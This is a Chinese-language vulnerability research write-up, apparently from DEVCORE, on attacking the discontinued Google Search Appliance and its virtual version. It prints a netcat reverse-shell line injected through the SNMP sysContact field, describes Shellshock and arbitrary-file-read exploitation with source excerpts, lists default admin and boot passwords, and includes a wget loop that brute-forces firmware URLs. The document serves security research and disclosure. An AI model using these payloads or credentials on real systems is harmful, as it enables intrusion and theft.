[REL] 深入破解 Google Search Appliance
2023-7-7 00:0:0 Author: devco.re(查看原文) 阅读量:9 收藏

技術專欄 #Google, LFI, Shell

English Version, 中文版本

懶人包

  • GSA 管理界面認證後任意指令執行
  • GSA 搜尋介面任意讀檔
  • GSA 使用 Oracle 的 Outside-in Technology 轉換文件格式
  • Google 網頁服務有一些固定的URI,會提供此服務的自身資訊

前言

Google Search Appliance (以下簡稱 GSA ) 是 Google 於2002 年開始為企業推出的搜尋設備,主要功能為放置於企業內網用於索引內部網路資訊並提供檢索。於 2005 年左右推出給個人及小型企業使用的 Google Mini,於 2008 年底左右有發布虛擬機器版本,名稱為 Virtual Google Search Appliance (以下簡稱 vGSA),後來於 2018年底結束產品生命週期,產品線整合進入 Cloud Search。

設備、軟體取得

從 ebay 以關鍵字 Google Search Appliance 搜尋並嘗試購買此設備, 如果不幸硬碟資料已被清除,也只能嘗試多買幾台了。

幸運的是,購入的第一台就是未遭完整清除的 GSA:

現在仍然可以找到正在被販售的設備:

另一方面 vGSA 原始公開連結已被移除, http://dl.google.com/vgsa/vgsa\_20090210.7z [已被移除] http://dl.google.com/vgsa/vgsa\_20081028.7z [已被移除]

後來用 BitTorrent 磁力連結 magnet:?xt=urn:btih:89388ACE8C3B91FDD3A2F86D8CBB78C58A70D992 成功取得檔案。

接著再從 google groups 中找到舊版軟體連接:https://groups.google.com/g/google-search-appliance-help/c/Qn5aO5r2Joo/m/PTw8ZDWu6vYJ

連結為:http://dl.google.com/dl/enterprise/install_bundle-10000622-7.2.0-112.bin [已被移除]

由公開網頁中,可取得版本號碼: http://web.archive.org/web/20210116194907/https://support.google.com/gsa/answer/7020590?hl=en&ref_topic=2709671

猜測檔案名稱規則為 install_bundle-10000(三位數字)-7.(一位數字).(數字)-(三位數字).bin

並編寫 shell script 嘗試下載:

for((j=622;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.2.0-$i.bin;done;done
for((j=661;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.4.0-$i.bin;done;done
for((j=693;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.6.0-$i.bin;done;done

加上網路搜尋到的資料,成功取回以下檔案:

all_langs-lang-pack-2.1-1.bin
all_langs-lang-pack-2.2-1.bin
centos_patch_files-6.0.0-22.bin
centos_patch_files-6.14.0-28.bin
centos_patch_files-7.0.14-238.bin
centos_patch_files-7.2.0-252.bin
centos_patch_files-7.2.0-264.bin
centos_patch_files-7.2.0-270.bin
centos_patch_files-7.2.0-280.bin
centos_patch_files-7.2.0-286.bin
install_bundle-10000653-7.2.0-252.bin
install_bundle-10000658-7.2.0-264.bin
install_bundle-10000661-7.2.0-270.bin
install_bundle-10000681-7.4.0-64.bin
install_bundle-10000685-7.4.0-72.bin
install_bundle-10000686-7.4.0-74.bin
install_bundle-10000692-7.4.0-82.bin
install_bundle-10000762-7.6.0-36.bin
install_bundle-10000767-7.6.0-42.bin
install_bundle-10000772-7.6.0-46.bin
install_bundle-10000781-7.6.0-58.bin
install_bundle-10000810-7.6.50-30.bin
install_bundle-10000822-7.6.50-36.bin
install_bundle-10000855-7.6.50-64.bin
install_bundle-10000878-7.6.250-12.bin
install_bundle-10000888-7.6.250-20.bin
install_bundle-10000901-7.6.250-26.bin
install_bundle-10000915-7.6.360-10.bin
install_bundle-10000926-7.6.360-16.bin
install_bundle-10000967-7.6.512-18.bin
sw_files-5.0.4-22.bin
sw_files-6.14.0-28.bin
sw_files-7.0.14-238.bin
vm_patch_1_for_504_G22_and_G24_only.bin

vGSA (Virtual Google Search Appliance)

接著開始 VGSA 的研究,預設情況下完成匯入虛擬機後此系統只提供了一個網路設定的功能, 沒有提供 shell 可供操作使用。但是由於虛擬機器是執行在自己環境上, 所以通常可以透過下列方式取得系統權限:

  • 直接修改未加密的磁碟機檔案
  • 修改虛擬機記憶體內容
  • 使用其他作業系統光碟或磁碟開機
  • 其他已知漏洞
  • 寫死的管理員或系統帳號、密碼

下圖為 vGSA 網路設定畫面:

CVE-2014-6271

當測試早期的 Linux 設備及服務,尤其是使用 RedHat 系列的作業系統時,通常會有 Shellshock 的漏洞, 而發布日期再2008的 vGSA 也不例外。dhcp server 中插入 option 114 會被設置於環境變數,從而觸發漏洞,執行任意指令:

指令為:useradd zzzzgsa,可以從主控台輸出中看到此指令被重複執行,並產生錯誤訊息。

vGSA 觀察

成功取得作業系統權限後,進行網路環境、執行程式、檔案系統的觀察,以下是作業系統環境觀察心得:

  • 版本號為 5.2.0.G.27。
  • 服務主要由 C/C++、java、python 編寫
  • /export/hda3 似乎是服務主要使用的目錄
  • /etc/shadow 存在帳號 root、密碼雜湊為 x███████████M
  • 管理介面 8000、8443 預設管理密碼為 j0njlRXpU5CQ
  • /.gnupg 存在 ent_box_key 公私鑰。
  • /.gnupg 存在 google_license_key 公鑰。
  • /.ssh/authorized_keys 存在兩組公鑰。
  • /root/.ssh/authorized_keys 存在一組公鑰。
  • /root/.ssh/ 存在兩組ssh 公私鑰。
  • /root/.gnupg/ 存在 ent_box_key 公私鑰。
  • 使用 Oracle 公司的 Outside In Technology 將文件轉換為 html網頁。
  • java 執行環境使用 Security Manager 保護。
  • 請求工程師支援功能使用 ppp 建構虛擬私有網路, /etc/ppp/chap-secrets 存有帳號密碼 ( z██████c、]███████T )
  • /etc/lilo.conf中的開機選單密碼為 cmBalx7
  • /export/hda3/versionmanager/google_key.symmetric 有一把疑似為對稱式加密使用的密碼
  • /export/hda3/versionmanager/vmanager_passwd 存在兩組帳密組合 ( admin: M█████████████████████████w=:9██= google:w█████████████████████████o=:N██= )

而具有網路服務的執行程式的觀察如下:

通訊埠 服務名稱 程式編寫語言 服務說明
22 ssh C/C++ OpenSSH Server
53 named C/C++ Bind Named
953 named C/C++ Bind Named
1111 webserver_config python Installer
2100 adminrunner.py python enterpriseconsole backend
3990 monitor C/C++ monitor
4000 rtserver C/C++ 未知
4430 EnterpriseFrontend Java (with security manager) https 前端
4911 borgmon C/C++ borgmon
4916 reactor C/C++ 未知
5000 rtserver C/C++ 未知
5600 rtserver C/C++ 未知
6600 cacheserver C/C++ 未知
7800 EnterpriseFrontend Java (with security manager) 未知
7880 TableServer Java (with security manager) 未知
7882 AuthzChecker Java (without security manager) 未知
7886 tomcat Java tomcat server
8000 EnterpriseAdminConsole Java (without security manager) 未知
8443 stunnel C/C++ redirect http to https
8888 GWS C/C++ 未知
9300 oneboxserver C/C++ 未知
9328 entspellmixer C/C++ 未知
9400 mixserver C/C++ 未知
9402 mixserver C/C++ 未知
9448 qrewrite C/C++ 未知
9450 EnterpriseAdminConsole Java (without security manager ) 未知
10094 enterprise_onebox C/C++ 未知
10200 clustering_server C/C++ 未知
11913 sessionmanager C/C++ 未知
12345 RegistryServer Java (without security manager) 未知
19780 configmgr/ent_configmgr.py python 未知
19900 feedergate C/C++ 未知
21200 FileSystemGateway Java (with security manager) 未知
31300 rtserver C/C++ 未知

雖然有這麼多服務,但是 iptables 阻擋了大部分的連線,以下是 iptables 設定:

# Redirect privileged ports.
# (we listen as nobody, which can't attach to low ports, so redirect to high ports)
#
-A PREROUTING -i eth0 -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 7800
-A PREROUTING -i eth0 -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 4430
-A PREROUTING -i eth0 -p tcp -m tcp --dport 444 -j REDIRECT --to-ports 4431
-A INPUT -i eth0 -p udp -m state --state ESTABLISHED,RELATED -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 7800 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 7801 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 4430 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 4431 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 19900 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 8000 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 8443 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 9941 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 9942 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 10999 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --sport 68 --dport 67 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 53 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 137:138 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 123 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 514 -j ACCEPT
-A INPUT -i eth0 -p udp -m udp --dport 161 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --sport 161 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 162 -j ACCEPT

整理出來實際可存取的TCP 攻擊面:

通訊埠 服務名稱 程式執行檔所在位置
22 ssh /usr/sbin/sshd
7800 EnterpriseFrontend /export/hda3/5.2.0/local/google/bin/EnterpriseFrontend.jar
4430 EnterpriseFrontend /export/hda3/5.2.0/local/google/bin/EnterpriseFrontend.jar
19900 feedergate /export/hda3/5.2.0/local/google/bin/feedergate
8000 EnterpriseAdminConsole /export/hda3/5.2.0/local/google/bin/EnterpriseAdminConsole.jar
8443 stunnel /usr/sbin/stunnel

而我們發現 /export/hda3/versionmanager/google_key.symmetric 中的字串可以用來解密所有 install_bundle 的內容! 使用 CVE-2014-6271 取得權限加上可以解出 install bundle 中的內容後,對 vGSA 的研究就暫時告一段落, 其執行環境中記憶體的保護較為缺少,可能有機會存在弱點並利用:

GSA

安裝設備後嘗試更改開機順序,但發現進入BIOS需要密碼,且磁碟介面卡的管理介面中 Dell H700 僅有部分功能可以操作:

接著嘗試直接讀取硬碟內容,如果硬碟內容沒有加密,有機會能直接取得設備作業系統及軟體。 我們發現其硬碟使用SAS 介面進行傳輸,嘗試前還需購買SAS 卡,本次測試使用LSI 9211-8i 進行連結:

連接嘗試讀取後發現到這是一個自我加密 SED 磁碟,需要密碼unlock 才能存取,OSSLab 這邊有更詳細的解釋:

https://www.osslab.com.tw/ata-sed-security/ (中文)

在無法直接存取硬碟的情況下有幾種方式可以繼續嘗試:

  • 嘗試讀出於BIOS EEPROM 中的密碼,並更改開機順序

此方式需要破壞主機板,有一定風險,於軟體層找不到漏洞才會使用此種方式。 可參考這篇研究 https://blog.cybercx.co.nz/bypassing-bios-password (英文)

  • 使用 PCILeech 讀取、寫入記憶體並取得系統權限

此方式需要特定PCI-e 設備,當時還沒有準備此類設備。可以參考這個 github 專案:

https://github.com/ufrisk/pcileech

  • 尋找可存取服務之軟體漏洞

此方式較為簡單可行。

管理介面換行字元插入

登入管理介面後,觀察到其中有 SNMP 取得系統資訊的功能, 且此功能可以插入自定義字串:

這邊嘗試經典的換行注入:

將 sysContact 插入

extend shell /bin/nc -e /bin/sh 10.5.2.1 4444

插入 extend 設定值之後,就可以用 snmpwalk 觸發 SNMP 的extend 功能, 並執行 shell。

成功執行指令並反連。

任意讀檔

於 GSA 6.x 系列版本後的 RPM 安裝包中發現其 80/443 的網頁服務使用 Apache httpd, 其中位於 /etc/httpd/conf.d/ 中有許多的設定。 而其中 gsa-http.conf 及 gsa-https.conf 可以發現某些目錄會被導向至本機特定的服務:

  RewriteEngine on
  RewriteRule ^/security-manager/(.*) http://localhost:7886/security-manager/$1 [P,L]
  RewriteRule ^/d██████████/(.*) http://localhost:7890/dps/d██████████/$1 [P,L]
  RewriteRule ^/s██████/(.*) http://localhost:7890/dps/s██████/$1 [P,L]
  RewriteRule ^/v█████/(.*) http://localhost:7890/v█████/$1 [P,L]
  RewriteRule ^/$ http://localhost:7800/ [P,L]
  RewriteRule ^/(.*) http://localhost:7800/$1 [P,L]

其中通訊埠為 7886 跟 7890 的服務為另外執行的 Apache Tomcat 伺服器,當串接兩層以上的網站伺服器時, Tomcat 的路徑判斷 ..;/ 是一個有趣的測試點,可以參閱一位老前輩的文章:

https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf

而我們有興趣的點為 dps ,這似乎沒有在舊版的 GSA 中看到。 從 dps.war 中解出 /WEB-INF/web.xml 觀察網頁應用配置,並發現 /font 會呼叫 com.documill.dps.connector.servlet.user.DPSDownloadServlet

  <servlet>
    <servlet-name>font</servlet-name>
    <servlet-class>com.documill.dps.connector.servlet.user.DPSDownloadServlet</servlet-class>
    <init-param>
      <param-name>rootDirectory</param-name>
      <param-value>work/fonts/</param-value>
    </init-param>
  </servlet>

  <servlet-mapping>
    <servlet-name>font</servlet-name>
    <url-pattern>/font/*</url-pattern>
  </servlet-mapping>

接著查看 DPSDownloadServlet:

import com.davisor.net.servlet.DownloadServlet;
import com.documill.dps.*;
import java.io.*;
import javax.servlet.ServletContext;

public class DPSDownloadServlet extends DownloadServlet
    implements DPSUserService
{

    public DPSDownloadServlet()
    {
    }

    protected String getRealPath(ServletContext servletcontext, String s)
        throws IOException
    {
        DPS dps = DPSSingleton.getDPS();
        File file = dps.getHomeDir();
        if(file == null)
            throw new FileNotFoundException("DPSDownloadServlet:getRealPath:DPS home directory not specified");
        else
            return (new File(file, s)).getAbsolutePath();
    }

    private static final long serialVersionUID = 0L;
}

發現此類別是繼承自 com.davisor.net.servlet.DownloadServlet,跟進此類別:

    protected void service(HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse)
        throws ServletException, IOException
    {
        String s = httpservletrequest.getParameter(uriParameterName);
        if(!isValid(s))
        {
            httpservletresponse.sendError(400, (new StringBuilder()).append("Invalid file path: ").append(s).toString());
            return;
        }
        File file = rootDirectory.deriveFile(s);
        if(!file.isFile())
            httpservletresponse.sendError(404, (new StringBuilder()).append("No file:").append(s).toString());
        else
        if(!file.canRead())
        {
            httpservletresponse.sendError(403, (new StringBuilder()).append("Unreadable file:").append(s).toString());
        } else
        {
            long l = file.length();
            if(l > 0x7fffffffL)
            {
                httpservletresponse.sendError(413, (new StringBuilder()).append("File too big:").append(l).toString());
            } else
            {
                String s1 = MIME.getTypeFromPath(file.getName(), "application/octet-stream");
                httpservletresponse.setContentLength((int)l);
                httpservletresponse.setContentType(s1);
                httpservletresponse.setDateHeader("Last-Modified", file.lastModified());
                if(cacheExpires > 0L)
                {
                    httpservletresponse.setDateHeader("Expires", System.currentTimeMillis() + cacheExpires);
                    httpservletresponse.setHeader("Cache-Control", "public");
                }
                IO.copy(file, httpservletresponse.getOutputStream());
            }
        }
    }
    private static boolean isValid(String s)
    {
        return !Strings.isEmpty(s) && !s.contains("..");
    }

可以發現此處只有檢查字串是否含有 .. ,但我們可以直接指定絕對路徑。 並直接讀取本機任意檔案!

舊版GSA 沒有 /font 這個端點,但 /dps/admin 有類似的讀檔問題,可以直接指定 logName 進行檔案讀取, 可參考下圖直接讀取系統管理介面帳號密碼檔:

成功破解雜湊後,登入後可以開啟 SNMP 服務配合第一個漏洞並以 root 權限執行任意指令。

其他發現跟整理

服務本身內部網址

GSA 中有許多的子服務間使用 HTTP 傳輸協定溝通,而在許多服務都有提供 /varz、/helpz、/procz 等網址, 可以在服務定義的信任網路位置或 127.0.0.1 中存取:

而在 vGSA 中觀察到服務執行參數有 useripheader=X-User-Ip ,導致對外開放的管理介面可以帶入 X-User-IP 請求頭後直接存取此功能:

/procz 端點甚至可以抓取執行檔及使用到的共享函示庫:

型號整理

型號 製造商及型號 硬體規格 版號 文件數量
Google Mini Gigabyte Pentium III 1G / 2GB memory / 120G 3.4.14 300,000
Google Mini-002X SuperMicro Pentium 4 3G / 2GB memory / 250G HDD 5.0.0 未知
Google GB-1001 Dell Poweredge 2950 Xeon / 16GB memory / 1.25TB HDD 未知 3,000,000
Google GB-1002 Gigabyte 未知 未知 未知
Google GB-7007 Dell R710 Xeon E5520 / 48GB memory / 3TB HDD 未知 10,000,000
Google GB-9009 未知 Xeon X5560 / 96GB memory / 3.6TB HDD 未知 30,000,000
Google G100 Dell R720XD 未知 未知 未知
Google G500 未知 未知 未知 未知

核心版本

GSA 版本 核心版本
7.6.0 Linux version 3.14.44_gsa-x64_1.5 ([email protected]) (gcc version 4.9.x-google 20150123 (prerelease) (Google_crosstoolv18-gcc-4.9.x-x86_64-grtev4-linux-gnu) ) #1 SMP Mon Nov 23 09:19:11 PST 2015
7.4.0 未知
7.2.0 Linux version 3.4.3_gsa-x64_1.5 ([email protected]) (gcc version 4.6.x-google 20120601 (prerelease) (Google_crosstoolv15-gcc-4.6.x-glibc-2.11.1-grte) ) #1 SMP Tue Jul 9 15:36:01 PDT 2013
7.0.14 Linux version 3.4.3_gsa-x64_1.3 ([email protected]) (gcc version 4.6.x-google 20120601 (prerelease) (Google_crosstoolv15-gcc-4.6.x-glibc-2.11.1-grte) ) #1 SMP Thu Jul 19 11:59:57 PDT 2012
5.2.0 Linux version 2.6.20_vmw-smp_3.1 ([email protected]) (gcc version 4.1.1) #1 SMP Thu Jan 24 22:34:28 PST 2008

時間軸

時間 事件
2005/06/10 Java Code Injection CVE-2005-3757 被 H D Moore 回報
2008 上半年 釋出 GSA 5.0
2008/10/28 釋出 vgsa_20081028.7z (5.2.0)
2013/04/20 釋出 GSA 6.14.0.G28
2014/03/20 XSS 漏洞 CVE-2014-0362 被 Will Dormann 回報
2014/10/01 釋出 GSA 7.0.14.G238
2014/10/03 釋出 GSA 7.2.0.G252
2014/12/12 釋出 GSA 7.2.0.G264
2015/02/07 釋出 GSA 7.2.0.G270
2015/04/15 釋出 GSA 7.4.0.G64
2015/04/22 釋出 GSA 7.4.0.G72
2015/04/30 釋出 GSA 7.4.0.G74
2015/06/04 釋出 GSA 7.4.0.G82
2016 上半年 Google 宣布 GSA 將會逐步退出市場
2016/01/05 XML 外部實體攻擊 被 Timo 回報
2016/05/24 釋出 GSA 7.6.0.G36
2016/07/01 釋出 GSA 7.6.0.G42
2016/07/31 本文作者取得此設備,版本為 7.0.14
2016/08/25 釋出 GSA 7.6.0.G46
2016/10/21 釋出 GSA 7.6.0.G58
2017/01/19 釋出 GSA 7.6.50.G30
2017/04/19 釋出 GSA 7.6.50.G36
2017/07/28 釋出 GSA 7.6.50.G64
2017/11/09 釋出 GSA 7.6.250.G12
2017/12/28 最後能訂購 GSA 的日期
2018/01/17 釋出 GSA 7.6.250.G20
2018/03/21 釋出 GSA 7.6.250.G26
2018/06/15 釋出 GSA 7.6.360.G10
2018/10/08 釋出 GSA 7.6.360.G16
2019/04/26 釋出 GSA 7.6.512.G18,應該為最後一個版本
2021/08/16 回報漏洞
2021/08/16 收到機器人回應確認收到回報信件
2021/08/16 問題於 issuetracker.google.com 被指派
2021/08/18 Google 提示漏洞不符合獎金條件,但會於下次會議再次討論
2021/08/20 確認漏洞不發放獎金
2021/11/01 詢問漏洞是否會指派 CVE 漏洞編號
2021/11/02 確認不會有 CVE 漏洞編號
2023 上半年 開始編寫文章
2023/06/04 初稿完成

結論

雖然 GSA/vGSA 已經是結束生命周期的產品,但研究 Google 如何對設備去增加產品的安全性及減少攻擊向量 可以增加平常較少接觸的知識面。雖然文中沒有詳細說明,包含如使用 Java 的 Security Manager, Linux Kernel 的 seccomp 都是 GSA 中有使用的技術,而本次研究中也留下一些可供後續研究的目標:

  • feedergate 服務
  • Oracle 的 Outside-in Technology 轉換文件格式的記憶體漏洞
  • convert_to_html seccomp sandbox

有研究成果時再跟大家分享,下次見。

其他參考網址


文章来源: https://devco.re/blog/2023/07/07/a-journey-into-hacking-google-search-appliance/
如有侵权请联系:admin#unsafe.sh